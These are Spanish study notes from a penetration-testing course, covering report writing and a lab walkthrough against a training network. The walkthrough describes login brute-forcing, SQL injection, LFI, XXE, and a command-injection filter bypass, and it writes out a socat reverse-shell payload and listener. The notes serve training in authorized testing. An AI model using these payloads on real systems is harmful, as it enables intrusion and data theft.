El tester también encontró carpetas compartidas con permisos excesivos, lo que significa que todos los usuarios de la red interna pueden acceder a una cantidad considerable de datos. Si bien compartir archivos internamente entre departamentos y usuarios es importante para las operaciones comerciales diarias, los permisos totalmente abiertos en los recursos compartidos de archivos pueden resultar en la divulgación no intencionada de información confidencial. Incluso si un recurso compartido de archivos no contiene ninguna información sensible hoy, alguien podría, sin saberlo, poner dichos datos allí, pensando que están protegidos cuando no lo están. Esta configuración debe cambiarse para garantizar que los usuarios solo puedan acceder a lo necesario para realizar sus tareas diarias.
Finalmente, el tester notó que las actividades de prueba parecieron pasar en su mayoría desapercibidas, lo que puede representar una oportunidad para mejorar la visibilidad en la red interna e indica que un atacante del mundo real podría permanecer sin ser detectado si se logra el acceso interno. Inlanefreight debería crear un plan de remediación basado en la sección de Resumen de Remediación de este informe, abordando todos los hallazgos altos tan pronto como sea posible según las necesidades del negocio. Inlanefreight también debería considerar realizar evaluaciones de vulnerabilidades periódicas si no se están realizando ya. Una vez que se hayan abordado los problemas identificados en este informe, una evaluación de seguridad de Active Directory más colaborativa y en profundidad podría ayudar a identificar oportunidades adicionales para fortalecer el entorno de Active Directory, lo que dificultaría que los atacantes se muevan por la red y aumentaría la probabilidad de que Inlanefreight pueda detectar y responder a actividades sospechosas.
Anatomia del resumen ejecutivo
Lo primero es reunir una lista de tus hallazgos e intentar categorizar la naturaleza del riesgo de cada uno. Estas categorías serán la base de lo que vas a discutir en el resumen ejecutivo:
LLMNR/NBT-NS Response Spoofing - cambio de configuración/fortalecimiento del sistema
Autenticación Kerberos débil (“Kerberoasting”) - cambio de configuración/fortalecimiento del sistema
Reutilización de la contraseña de administrador local - conductual/fortalecimiento del sistema
Contraseñas débiles de Active Directory - conductual
Credenciales débiles/por defecto de Tomcat Manager - cambio de configuración/fortalecimiento del sistema
Recursos compartidos de archivos inseguros - cambio de configuración/fortalecimiento del sistema/permisos
Listado de directorios habilitado - cambio de configuración/fortalecimiento del sistema
Mejorar las capacidades de monitoreo de seguridad - cambio de configuración/fortalecimiento del sistema
Guia de Recomendaciones
Antes de entrar en los hallazgos técnicos, es una buena idea proporcionar una sección de Resumen de recomendaciones o Resumen de remediación. Aquí podemos listar nuestras recomendaciones a corto, mediano y largo plazo basadas en nuestros hallazgos y el estado actual del entorno del cliente.
Deberíamos vincular cada recomendación a un hallazgo específico y no incluir ninguna recomendación a corto o mediano plazo que no sea accionable mediante la remediación de los hallazgos informados más adelante en el informe. Las recomendaciones a largo plazo pueden mapearse a recomendaciones informativas/de mejores prácticas como "Crear plantillas de seguridad base para hosts de Windows Server y Workstation", pero también pueden ser recomendaciones generales como "Realizar campañas periódicas de Ingeniería Social con sesiones informativas de seguimiento y capacitación en conciencia de seguridad para construir una cultura centrada en la seguridad dentro de la organización de arriba hacia abajo."
Algunos hallazgos podrían tener una recomendación asociada a corto y largo plazo. Por ejemplo, si falta un parche en particular en muchos lugares, eso es una señal de que la organización tiene dificultades con la gestión de parches y quizás no tiene un programa de gestión de parches sólido, junto con las políticas y procedimientos asociados. La solución a corto plazo sería distribuir los parches relevantes, mientras que el objetivo a largo plazo sería revisar los procesos de gestión de parches y vulnerabilidades para abordar cualquier brecha que impida que el mismo problema vuelva a surgir
Guia de Hallazgos
Después del Resumen Ejecutivo, la sección de Hallazgos es una de las más importantes. Esta sección nos da la oportunidad de mostrar nuestro trabajo, pintar al cliente un cuadro del riesgo para su entorno, dar a los equipos técnicos la evidencia para validar y reproducir problemas, y proporcionar consejos de remediación. Discutiremos esta sección del informe en detalle en la siguiente sección de este módulo: Cómo redactar un hallazgo.
Guia de Apendices
Hay apéndices que deberían aparecer en cada informe, pero otros serán dinámicos y pueden no ser necesarios para todos los informes. Si alguno de estos apéndices aumenta innecesariamente el tamaño del informe, es posible que desees considerar si una hoja de cálculo suplementaria sería una mejor manera de presentar los datos
Estaticos
-
Alcance: Muestra el alcance de la evaluación (URLs, rangos de red, instalaciones, etc.)
-
Metodologia: Explica el proceso repetible que sigues para asegurar que tus evaluaciones sean exhaustivas y consistentes
-
Calificaciones de severidad: Si tus calificaciones de severidad no se corresponden directamente con una puntuación CVSS o algo similar
-
Biografias: Si realizas evaluaciones con la intención de cumplir específicamente con el cumplimiento de PCI, el informe debe incluir una biografía sobre el personal que realiza la evaluación con el objetivo específico
Dinamicos
-
Intentos de explotacion y payloads: lleva un registro de las cosas que hiciste para que, si experimentan un incidente, puedan diferenciar lo que fuiste tú de un atacante real. Si generas payloads personalizados, particularmente si los dejas en el disco, también debes incluir los detalles de esos payloads aquí, para que el cliente sepa exactamente a dónde ir y qué buscar para deshacerse de ellos
-
Credenciales comprometidas: Si se comprometió un gran número de cuentas, es útil listarlas aquí (si comprometes todo el dominio, podría ser un esfuerzo desperdiciado listar cada cuenta de usuario en lugar de simplemente decir “todas las cuentas del dominio”
-
Cambios de configuracion: Si realizaste algún cambio de configuración en el entorno del cliente
-
Alcance afectado adicional: Si tienes un hallazgo con una lista de hosts afectados que sería demasiado larga para incluirla con el hallazgo en sí, generalmente puedes hacer referencia a un apéndice en el hallazgo para ver una lista completa de los hosts afectados
-
Recopilacion de informacion: Si la evaluación es un test de penetración externo, podemos incluir datos adicionales para ayudar al cliente a comprender su huella externa
-
Analisis de contraseñas de dominio: Si logras obtener acceso de Domain Admin y volcar la base de datos NTDS, es una buena idea pasarla por Hashcat con múltiples listas de palabras (wordlists) y reglas, e incluso forzar por fuerza bruta NTLM hasta ocho caracteres si tu equipo de descifrado de contraseñas es lo suficientemente potente. Una vez que hayas agotado tus intentos de descifrado, una herramienta como DPAT puede ser utilizada para producir un buen informe con varias estadísticas. Es posible que solo quieras incluir algunas estadísticas clave de este informe (es decir, número de hashes obtenidos, número y porcentaje descifrados, número de cuentas privilegiadas descifradas (piensa en Domain Admins y Enterprise Admins), las X contraseñas más comunes y el número de contraseñas descifradas para cada longitud de caracteres). Esto puede ayudar a reforzar los temas en las secciones de Resumen Ejecutivo y Hallazgos
CPTS
5. Reporting / 1. Documentacion Y Reporting
3. Redactar Findings O Hallazgos
Desglose de un hallazgo
Como mínimo, se debe incluir la siguiente información para cada hallazgo:
- Descripción del hallazgo y a qué plataforma(s) afecta la vulnerabilidad.
- Impacto si el hallazgo se deja sin resolver.
- Sistemas, redes, entornos o aplicaciones afectadas.
- Recomendación sobre cómo abordar el problema.
- Enlaces de referencia con información adicional sobre el hallazgo y su resolución.
- Pasos para reproducir el problema y la evidencia que recopilaste.
Algunos campos adicionales y opcionales incluyen:
- CVE - IDs de OWASP, MITRE
- Puntuación CVSS o similar
- Facilidad de explotación y probabilidad de ataque
- Cualquier otra información que pueda ayudar a conocer y mitigar el ataque
Mostrar adecuadamente los pasos para reproducir un hallazgo
Es crucial evitar dar las cosas por sentadas y suponer que la gente sabe cómo rellenar los huecos por sí misma
Algunos conceptos a considerar:
- Divide cada paso en su propia figura. Si realizas varios pasos en la misma figura, un lector que no esté familiarizado con las herramientas utilizadas puede no entender lo que está ocurriendo, y mucho menos tener una idea de cómo reproducirlo por sí mismo.
- Si se requiere configuración (p. ej., módulos de Metasploit), captura la configuración completa para que el lector pueda ver cómo debe ser la configuración del exploit antes de ejecutarlo. Crea una segunda figura que muestre lo que sucede cuando ejecutas el exploit.
- Escribe una narrativa entre las figuras describiendo lo que está sucediendo y lo que pasa por tu cabeza en este punto de la evaluación. No intentes explicar lo que ocurre en la figura con la leyenda y tengas un montón de figuras consecutivas.
- Después de recorrer tu demostración usando tu conjunto de herramientas preferido, ofrece herramientas alternativas que se puedan usar para validar el hallazgo si existen (solo menciona la herramienta y proporciona un enlace de referencia)
Si estás mostrando una vulnerabilidad en una aplicación web, una captura de pantalla de Burp no es la mejor manera de presentar esta información si estás creando tus propias peticiones web. El cliente probablemente querrá copiar/pegar el payload de tus pruebas para recrearlo, y no podrá hacerlo si es solo una captura de pantalla.
A continuación se muestra un ejemplo de cómo podríamos mostrar los pasos para capturar un hash usando la herramienta Responder y descifrarlo sin conexión (offline) usando Hashcat. Aunque no es 100% necesario, puede ser bueno listar herramientas alternativas como hicimos con este hallazgo. El cliente puede estar trabajando desde una máquina Windows y encontrar que un script de PowerShell o un ejecutable es más fácil de usar
Ten en cuenta que también hemos ocultado el hash y las contraseñas en texto plano
![[Pasted image 20261008141211.png]]
![[Pasted image 20261008141221.png]]
Ejemplo 1
Malo: Reconfigure la configuración del registro para fortalecerlo contra X.
Bueno: Para remediar completamente este hallazgo, los siguientes hives del registro deben ser actualizados con los valores especificados. Tenga en cuenta que los cambios en componentes críticos como el registro deben abordarse con precaución y probarse en un grupo pequeño antes de realizar cambios a gran escala.
[listar la ruta completa de los hives del registro afectados]
- Cambiar el valor X por el valor Y
Ejemplo 2
Malo: Implemente [alguna herramienta comercial que cuesta una fortuna] para abordar este hallazgo.
Bueno: Existen diferentes enfoques para abordar este hallazgo. [Nombre del proveedor del software afectado] ha publicado una solución temporal (workaround) como solución provisional. En aras de la brevedad, se ha proporcionado un enlace a la guía paso a paso en los enlaces de referencia a continuación. Alternativamente, existen herramientas comerciales disponibles que permitirían deshabilitar por completo la funcionalidad vulnerable en el software afectado, pero estas herramientas pueden ser prohibitivas por su costo.
Cómo Seleccionar Referencias de Calidad
Cada hallazgo debe incluir una o más referencias externas para una lectura más profunda sobre una vulnerabilidad o configuración incorrecta en particular. Algunos criterios que mejoran la utilidad de una referencia:
- Es útil una fuente agnóstica del proveedor. Obviamente, si encuentras una vulnerabilidad de ASA, un enlace de referencia de Cisco tiene sentido, pero no me apoyaría en ellos para una descripción sobre nada fuera de las redes
Es preferible una guía paso a paso o una explicación exhaustiva del hallazgo y cualquier solución temporal o mitigación recomendada. No elijas artículos detrás de un muro de pago o algo donde solo obtienes parte de lo que necesitas sin pagar.
- Usa artículos que vayan al grano rápidamente
- Elige fuentes que tengan sitios web limpios y no te hagan sentir como si un montón de mineros de criptomonedas estuvieran ejecutándose en segundo plano o que aparezcan anuncios por todas partes.
- Si es posible, escribe parte de tu propio material de referencia y publícalo en un blog
Ejemplos de Hallazgos
Cada hallazgo incluye todos los elementos clave: una descripción detallada para explicar lo que está sucediendo, el impacto en el entorno si el hallazgo no se soluciona, los hosts afectados por el problema (o todo el dominio), consejos de remediación que son genéricos, no recomiendan herramientas de proveedores específicos y dan varias opciones para la remediación. Finalmente, los enlaces de referencia provienen de fuentes conocidas y reputadas que probablemente no serán eliminadas en el corto plazo como podría serlo un blog personal
Una nota sobre el formato: Este podría ser un tema muy debatido. Los hallazgos de ejemplo aquí se han presentado en un formato tabular, pero si alguna vez has trabajado en Word o has intentado automatizar parte de la generación de tu informe, sabes que las tablas pueden ser una pesadilla. Por esta razón, otros optan por separar las secciones de sus hallazgos con diferentes niveles de encabezado. Cualquiera de estos enfoques es aceptable
![[Pasted image 20261008142111.png]]
![[Pasted image 20261008142120.png]]
Hallazgo Mal Redactado
![[Pasted image 20261008142137.png]]
CPTS
5. Reporting / 1. Documentacion Y Reporting
4. Tips Y Trucos
CPTS
5. Reporting / 1. Documentacion Y Reporting
5. Practice Lab
El alcance (scope) proporcionado por el cliente es el siguiente:
- Rango de red:
172.16.5.0/24
- Dominio:
INLANEFREIGHT.LOCAL
Tu compañero de equipo ya ha creado una estructura de directorios y un cuaderno de Obsidian detallado para registrar sus actividades de prueba. Hizo una lista de 13 hallazgos (findings) pero solo registró evidencia para algunos de ellos. Asume el rol del analista de penetración y completa este encargo simulado lo mejor que puedas. Experimenta con lo siguiente para perfeccionar tus habilidades:
- Enumera y explota los 13 hallazgos listados y recopila evidencia para los hallazgos que no tienen ninguna evidencia registrada en el cuaderno.
- Mantén un registro detallado de todas las actividades que realices.
- Actualiza el registro de payloads según sea necesario.
- Registra toda la salida de escaneos y herramientas generada mientras realizas la enumeración y recopilas evidencia adicional de los hallazgos.
- Practica la redacción de los hallazgos utilizando WriteHat o la plantilla de informe proporcionada, o practica con ambos.
- Finaliza la prueba de penetración y completa las preguntas a continuación para concluir este módulo.
Recomendamos usar la versión proporcionada del cuaderno de Obsidian o recrear la estructura del cuaderno y la estructura de directorios localmente o en la Pwnbox usando Obsidian o tu propia herramienta preferida
CPTS
5. Reporting / 1. Documentacion Y Reporting
6. Notas Para El Examen
Inicio del examen
SysReptor → Executive Summary
No completar todavía conclusiones ni resultados.
2. Descubro un host nuevo
Ejemplo:
MS01 - 172.16.7.50
SysReptor → Appendix → Host & Service Discovery
Añadir:
Ejemplo:
MS01 | 445 | SMB | Domain joined
MS01 | 1433 | MSSQL | SQL Server
3. Descubro VHost / Subdominio
SysReptor → Appendix → Subdomain Discovery
Añadir:
Ejemplo:
admin.domain.local
Administration Portal
FFUF VHost enumeration
4. Confirmo una vulnerabilidad
⚠️ No esperar al final.
SysReptor → Findings → Add Finding
Rellenar:
Details
- Cómo lo encontré
- Comando / prueba
- Resultado
- Cómo lo confirmé
- Screenshot / output relevante
Después
Ejemplo:
Shell en MS01
SysReptor → Appendix → Exploited Hosts
Añadir:
SysReptor → Internal Network Compromise Walkthrough
Walkthrough Summary
Detailed Walkthrough
6. Consigo usuario / credenciales
SysReptor → Appendix → Compromised Users
Añadir:
Ejemplo:
DOMAIN\svc_sql
Kerberoasting
MSSQL service account
Mis notas → Credentials
7. Hago Lateral Movement
Ejemplo:
svc_sql → WinRM → WS02
Al conseguir ejecución en WS02:
SysReptor → Appendix → Exploited Hosts
SysReptor → Internal Network Compromise Walkthrough
8. Consigo Admin / SYSTEM / root
SysReptor → Internal Network Compromise Walkthrough
SysReptor → Appendix → Changes / Host Cleanup
Añadir:
9. Encuentro una Flag
SysReptor → Appendix → Flags Discovered
Añadir inmediatamente:
10. Antes de dejar una máquina
Check de 2 minutos
Todo ✓ → pasar al siguiente host.
11. Consigo Domain Admin / Domain Compromise
SysReptor → Internal Network Compromise Walkthrough
Walkthrough Summary
Detailed Walkthrough
12. Obtengo NTDS.dit / hashes del dominio
SysReptor → Appendix → Domain Password Review
Añadir:
13. Final del examen
SysReptor → Executive Summary
SysReptor → Assessment Overview & Recommendations
Revisión final
CPTS
5. Reporting / 2. Atacando Redes De Empresas
1. Walktrough A Ciegas
Escenario
Cliente: INLANEFREIGHT
Nuestra empresa: Acme Security, Ltd.
Black box: Empezamos con usuario anonimo desde la red externa, tratando de obtener un foothold en la red interna y adentrandonos en esta red interna
NO SE PROPORCIONAN CREDS
| RANGOS O DOMINIOS |
NOTES |
| 10.129.x.x |
interfaz externa del host |
| *.inlanefreight.local |
estan dentro del alcance el dominio y todos los subdominios de INLANEFREIGHT.LOCAL |
| 172.16.8.0/23 |
Subrango de red interna que esta dentro del scope |
| 172.16.9.0/23 |
Subrango de red interna que esta dentro del scope |
| INLANEFREIGHT.LOCAL |
Dominio interno que esta dentro del scope |
-
FUERA DEL ALCANCE
-
Phishing/Ingeniería Social contra cualquier empleado o cliente de Inlanefreight
-
Ataques físicos contra las instalaciones de Inlanefreight
-
Acciones destructivas o pruebas de denegación de servicio (Denial of Service o DoS)
-
Modificaciones en el entorno sin el consentimiento por escrito del personal de TI autorizado de Inlanefreight
Empezamos
- Tras iniciar el lab, primero que hacemos es meter en el /etc/host el dominio con la IP externa que nos han dado para tener acceso a ella por web
![[Pasted image 20261009101506.png]]
- Realizamos un escaneo de IP externa para ver que puertos son accesibles y que versiones
![[Pasted image 20261009101703.png]]
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r-- 1 0 0 38 May 30 2022 flag.txt
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:10.10.14.11
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 2
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 71:08:b0:c4:f3:ca:97:57:64:97:70:f9:fe:c5:0c:7b (RSA)
| 256 45:c3:b5:14:63:99:3d:9e:b3:22:51:e5:97:76:e1:50 (ECDSA)
|_ 256 2e:c2:41:66:46:ef:b6:81:95:d5:aa:35:23:94:55:38 (ED25519)
25/tcp open smtp Postfix smtpd
|_smtp-commands: ubuntu, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING
| ssl-cert: Subject: commonName=ubuntu
| Subject Alternative Name: DNS:ubuntu
| Not valid before: 2022-05-30T17:15:40
|_Not valid after: 2032-05-27T17:15:40
53/tcp open domain (unknown banner: 1337_HTB_DNS)
| dns-nsid:
|_ bind.version: 1337_HTB_DNS
| fingerprint-strings:
| DNSVersionBindReqTCP:
| version
| bind
|_ 1337_HTB_DNS
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Inlanefreight
|_http-server-header: Apache/2.4.41 (Ubuntu)
110/tcp open pop3 Dovecot pop3d
| ssl-cert: Subject: commonName=ubuntu
| Subject Alternative Name: DNS:ubuntu
| Not valid before: 2022-05-30T17:15:40
|_Not valid after: 2032-05-27T17:15:40
|_pop3-capabilities: TOP CAPA UIDL SASL AUTH-RESP-CODE PIPELINING STLS RESP-CODES
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
|_ 100000 3,4 111/udp6 rpcbind
143/tcp open imap Dovecot imapd (Ubuntu)
| ssl-cert: Subject: commonName=ubuntu
| Subject Alternative Name: DNS:ubuntu
| Not valid before: 2022-05-30T17:15:40
|_Not valid after: 2032-05-27T17:15:40
|_imap-capabilities: SASL-IR ID more have LITERAL+ STARTTLS IDLE capabilities IMAP4rev1 post-login LOGINDISABLEDA0001 ENABLE listed Pre-login OK LOGIN-REFERRALS
|_ssl-date: TLS randomness does not represent time
993/tcp open ssl/imap Dovecot imapd (Ubuntu)
| ssl-cert: Subject: commonName=ubuntu
| Subject Alternative Name: DNS:ubuntu
| Not valid before: 2022-05-30T17:15:40
|_Not valid after: 2032-05-27T17:15:40
|_imap-capabilities: SASL-IR ID more LITERAL+ have IDLE capabilities IMAP4rev1 post-login listed ENABLE OK Pre-login AUTH=PLAINA0001 LOGIN-REFERRALS
|_ssl-date: TLS randomness does not represent time
995/tcp open ssl/pop3 Dovecot pop3d
|_pop3-capabilities: TOP CAPA UIDL SASL(PLAIN) AUTH-RESP-CODE USER PIPELINING RESP-CODES
| ssl-cert: Subject: commonName=ubuntu
| Subject Alternative Name: DNS:ubuntu
| Not valid before: 2022-05-30T17:15:40
|_Not valid after: 2032-05-27T17:15:40
|_ssl-date: TLS randomness does not represent time
8080/tcp open http Apache httpd 2.4.41 ((Ubuntu))
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:CONNECTION
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Support Center
Vemos:
- 21 FTP anonimo permitido
- 22 ssh pero no tenemos creds
- 25 smtp (Postfix smtpd)
- 53 dns (podremos intentar realizar zona de transferencia para obtener mas subdominios)
- 80 HTTP (Apache httpd 2.4.41) - Ubuntu
- 110/995 POP3
- 111 RPC (podremos intentar hacer enumeracion via rpc anonima o cuando tengamos creds)
- 143/003 IMAP
- 8080 HTTP (Apache httpd 2.4.41 - Ubuntu)
- Complementario al anterior realizare un scan de todos los puertos por si se ha escapado alguno o hay UDPs abiertos y lo dejare corriendo en segundo plano
No encontramos nada interesante
- Accedemos al FTP primero anonimo a ver que encontramos
Dentro solo encontramos una flag y ningun archivo mas por lo que seguiremos otra parte
![[Pasted image 20261009102410.png]]
- Segumos mirando puertos:
-
El ssh podria ser vuln a CVE-2023-38408 pero no valdria con tener solamente la version sino que se tienen que cumplir ciertas condiciones. Ademas Ubuntu realiza actualizacion de parches por backports por lo que podria estar parcheado. Seguimos con el siguiente y vamos mejor a los interesantes
-
SMTP no tiene open relay por lo que podemos pasar por ahora
sudo nmap 10.129.229.147 -p25 --script smtp-open-relay
![[Pasted image 20261009103256.png]]
![[Pasted image 20261009103421.png]]
![[Pasted image 20261009103607.png]]
- 8080 (Apache 2.4.41)
![[Pasted image 20261009103449.png]]
![[Pasted image 20261009103753.png]]
- / –> tienen un contact now
![[Pasted image 20261009103838.png]]
- Vemos errores de Apache por lo que deberiamos ver ataques a Apache tambien
![[Pasted image 20261009103914.png]]
- /login.php –> un form login admin
![[Pasted image 20261009103951.png]]
- Vamos a probar el form login
Ponemos admin admin
![[Pasted image 20261009104500.png]]
Tenemos un mensaje de error
![[Pasted image 20261009104602.png]]
Mirando el form los parametros son username:password pero vamos comprobarlo con burp
![[Pasted image 20261009105405.png]]
Ahora podemos intentar un ataque de fuerza bruta
No obtebemos creds, pasamos a otra cosa
![[Pasted image 20261009110905.png]]
Sabiendo que tenemos Apache 2.4.41 sabemos que tenemos LFI pero va a ser muy util
Vamos a hacer ahora fuzzing de directorios. Vemos un /js/ y /status-server aunque lo tenemos con 403
![[Pasted image 20261009111847.png]]
No vemos nada interesante asi que seguimos
![[Pasted image 20261009112302.png]]
Pero si podemos hacer un fuzzing buscando .php y variates en la raiz
![[Pasted image 20261009111355.png]]
![[Pasted image 20261009112950.png]]
Dashboard.php nos redirige a login.php y ticket ya lo habiamos visto antes asi que vamos ahora a por ticket.php a ver si encontramos algo
Vamos a hacer peticiones test que mandaremos al repeater
![[Pasted image 20261009113147.png]]
![[Pasted image 20261009113358.png]]
Vemos que se envia por parametros GET. No veo nada interesante pero podemos lanzar un sqlmap con la peticion para ver si alguno de los parametros fuese vulnerable
![[Pasted image 20261009113938.png]]
![[Pasted image 20261009114119.png]]
No encuentra nada
- Realizamos una busqueda de subdominios
![[Pasted image 20261009114906.png]]
Los metemos todos en /etc/hosts
Y ejecutamos eyewitness sobre ellos para poder priorizar mejor
![[Pasted image 20261009115848.png]]
- Tras revisar eyewitness veo muchos paneles de login asi que vamos a lanzar fuerza bruta sobre ellos a ver si encontramos algo
Al hacer una peticion vemos que en /verify.php se envian en POST los parametros username, credential y sumbit
![[Pasted image 20261009121053.png]]
La respuesta nos devuelve un Access Denied.
![[Pasted image 20261009121113.png]]
Creamos un hydra a medida
![[Pasted image 20261009121137.png]]
No encontramos nada. Repetimos esto para los siguientes:
![[Pasted image 20261009121616.png]]
![[Pasted image 20261009122357.png]]
![[Pasted image 20261009122431.png]]
![[Pasted image 20261009122623.png]]
ENCONTRMAOS CREDENCIALES Y ENTRAMOS A LO QUE PARECE UN SHELL ADMIN
![[Pasted image 20261009122651.png]]
- Investigamos un poco aqui
![[Pasted image 20261009122734.png]]
Aqui nos estan dando una pista de que podría existir una aplicación o servicio sin autenticación, pero el mensaje no confirma que sea accesible sin credenciales. Portainer: es una plataforma de administración de contenedores Docker mediante una interfaz web.
Development mode: los desarrolladores deben probar sus aplicaciones en un entorno de desarrollo antes de publicarlas.
Despues de seguir investigando un poco mas aqui intentaremos encontrar Portainer aunque puede que se este refiriendo a donde nos encontramos ahora mismo
PUERTOS TIPICOS DE PORTAINER:
-
9000/tcp: interfaz HTTP de instalaciones antiguas.
-
9443/tcp: interfaz HTTPS habitual.
-
8000/tcp: túnel de comunicación de Portainer Edge Agent.
No vemos mas cosas interesantes y no encontramos esos puertos abiertos
Si hacemos connection test y miramos con burp vemos que esta ejecutando un ping:
![[Pasted image 20261009171555.png]]
Probando varias formas encontramos la siguiente
![[Pasted image 20261009171834.png]]
No le gustan los espacios pero podemos poner una tabulacion y si funciona
![[Pasted image 20261009172319.png]]
Probamos a ejecutar ifconfig y no nos deja de primeras. Pero usando ’ ’ si. Vemos que tiene acceso a la red interna en ens192
![[Pasted image 20261009172522.png]]
![[Pasted image 20261009173555.png]]
![[Pasted image 20261009173623.png]]
Si miaramos ping.php podemos ver un poco mejor que podemos y que no hacer
![[Pasted image 20261009175057.png]]
Tras muchos intentos con bash no se pudo pero con socat si
socat TCP-LISTEN:4444,reuseaddr,fork STDOUT
;so'c'at%09TCP:10.10.14.11:4444%09EXEC:b'a'sh
![[Pasted image 20261009180056.png]]
Nos pasamos la shell a msf y la subimos a un meterpreter shell para intentar una autoescalada de privs
![[Pasted image 20261009180435.png]]
VE ABAJO DESPUES DE LO QUE MIRAMOS EN TODOS LOS DEMAS SUBDOMINIOS Y SEGUIMOS AHI
— ESTO NOS LO PODEMOS SALTAR, YO LO HE HECHO POR TENER MAS EXPERIENCIA DE NO QUEDARME EN RABIT HOLES
10. Vamos con drupal en blog.
![[Pasted image 20261009124536.png]]
Su login no es posible con ataques de fuerza bruta ya que contiene un ID y las creds default de drupal admin:admin no funcionan
![[Pasted image 20261009124600.png]]
Como ultimos intentos tratamos de buscar CHANGELOG.txt o README.txt pero nos da 404 por lo que sera una de las ultimas versiones
Y por ultimo tratamos de usar droopescan a ver si encontramos algo sino pasamos al siguiente
![[Pasted image 20261009125533.png]]
Su login no es vuln por fuerza bruta y su subida de archivos en realidad no manda nada. Seguimos con el siguiente
En comments vemos que para editar, borrar etc comentarios tienen un dashboard
![[Pasted image 20261009130910.png]]
Haciendo un poco de fuzzing vemos que es un wp
![[Pasted image 20261009130949.png]]
Mientras termina el fuzzing vamos a ir enumerando el wp
![[Pasted image 20261009131223.png]]
![[Pasted image 20261009131521.png]]
![[Pasted image 20261009131540.png]]
Vemos que podriamos enumerar usuarios porque nos da un error sobre el username
Primero vamos a lanzar wpscan
Notas importantes:
- Server: Apache/2.4.53 (Debian)
- X-Powered-By: PHP/7.4.29
robots.txt:
- /wp-admin/
- /wp-admin/admin-ajax.php
XML-RPC seems to be enabled
WordPress readme found: http://ir.inlanefreight.local/readme.html
external WP-Cron seems to be enabled
WordPress version 6.0 identified (Insecure, released on 2022-05-24)
- 59 vulnerabilities identified:
Title: WordPress < 6.4.3 - Admin+ PHP File Upload
| UUID: a8e12fbe-c70b-4078-9015-cf57a05bdd4a
| Fixed in: 6.0.7
| References:
| - https://wpscan.com/vulnerability/a8e12fbe-c70b-4078-9015-cf57a05bdd4a
| - https://wordpress.org/news/2024/01/wordpress-6-4-3-maintenance-and-security-release/
Title: WP < 7.0.4 - Author+ RCE via PDF Upload
| UUID: 5061a614-ee26-422a-b4e8-ec88b96bb3cd
| Fixed in: 6.0.14
| References:
| - https://wpscan.com/vulnerability/5061a614-ee26-422a-b4e8-ec88b96bb3cd
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-65640
| - https://wordpress.org/news/2026/08/wordpress-7-0-4-release/
Title: WP < 7.1.1 - Theme Installation via CSRF
| UUID: 2624e094-6c88-43b4-812f-26444994737d
| Fixed in: 6.0.15
| References:
| - https://wpscan.com/vulnerability/2624e094-6c88-43b4-812f-26444994737d
| - https://wordpress.org/news/2026/09/wordpress-7-1-1-maintenance-and-security-release/
WordPress theme in use: cbusiness-investment
Enumerating Vulnerable Plugins (via Passive and Aggressive Methods)
- b2i-investor-tools 1 vulnerability identified: B2i Investor Tools < 1.0.8 Reflected Cross-Site Scripting Version: 1.0.5
- mail-masta 2 vulnerabilities identified: Title: Mail Masta <= 1.0 - Unauthenticated Local File Inclusion (LFI) Title: Mail Masta 1.0 - Multiple SQL Injection Version: 1.0
- akismet 1 vulnerability identified: Title: Akismet 2.5.0-3.1.4 - Unauthenticated Stored Cross-Site Scripting (XSS) The version could not be determined.
Ya que aun no tenemos creds de usuario vamos con las vulns de los plugins destacando mail masta
![[Pasted image 20261009133750.png]]
Tras leer el primer exploit vemos que la variable vulnerable es pl=
![[Pasted image 20261009134715.png]]
Obtenemos web-config con filtros php para que no renderice el php sino que lo muestre en base64 y lo decodificamos
![[Pasted image 20261009134809.png]]![[Pasted image 20261009134816.png]]
Las creds de la BBDD estan guardadas en variables docker asi que nada. Vamos a probar la vuln SQLi
![[Pasted image 20261009135443.png]]
tras mirar el exploit vemos que la variable vuln ahora es list_id asique ejecutamos sqlmap para ver si es vuln realmente
![[Pasted image 20261009135540.png]]![[Pasted image 20261009135549.png]]
Onbtenemos que si que es vuln
Miramos las bases de datos
![[Pasted image 20261009135616.png]]![[Pasted image 20261009135622.png]]
Vamos a ver las tablas de wordpress
![[Pasted image 20261009135717.png]]
![[Pasted image 20261009135727.png]]
Vamos con users
![[Pasted image 20261009135945.png]]![[Pasted image 20261009135956.png]]
Obtenemos admin –> ilfreightwp:password1
![[Pasted image 20261009140228.png]]
![[Pasted image 20261009140308.png]]
Ahora vamos a subir una shell al 404.php
Me doy cuenta de que ninguno de los themes son escribibles y que no puedo subir plugins en .zip porque no puede crear la carpeta, por falta de permisos
![[Pasted image 20261009145446.png]]
Por aqui yo creo que esta cerrado el camino, parece un rabbit hole
- gitlab directametne ya que support y tracking no encontramos nada interesante rapidamente
Nos creamos una cuenta con @inlanefreight.local
![[Pasted image 20261009151235.png]]![[Pasted image 20261009151302.png]]
![[Pasted image 20261009151347.png]]
![[Pasted image 20261009151359.png]]
Aqui hemos encontrado otro subdominio
![[Pasted image 20261009151500.png]]![[Pasted image 20261009151658.png]]
Si entramos vemos un login
![[Pasted image 20261009151735.png]]
Primero vamos a buscar dentro del repo a ver si hay creds. No veo nada a primera vista, vamos a probar fuerza bruta
Con admin:admin hemos entrado jajaja
![[Pasted image 20261009152309.png]]
Solo vemos que una cosa tenga peticiones HTTP y es el complete purchase antes de pagar y es con XML la data del POST
![[Pasted image 20261009153940.png]]
Vamos a probar XXE. Primero miramos si algun parametro es vuln
![[Pasted image 20261009154306.png]]
Vemos que si, userid probamos a leer un archivo del host
![[Pasted image 20261009154424.png]]
Funciona pero no conseguimos nada mas
Nos movemos a /home
![[Pasted image 20261009181041.png]]
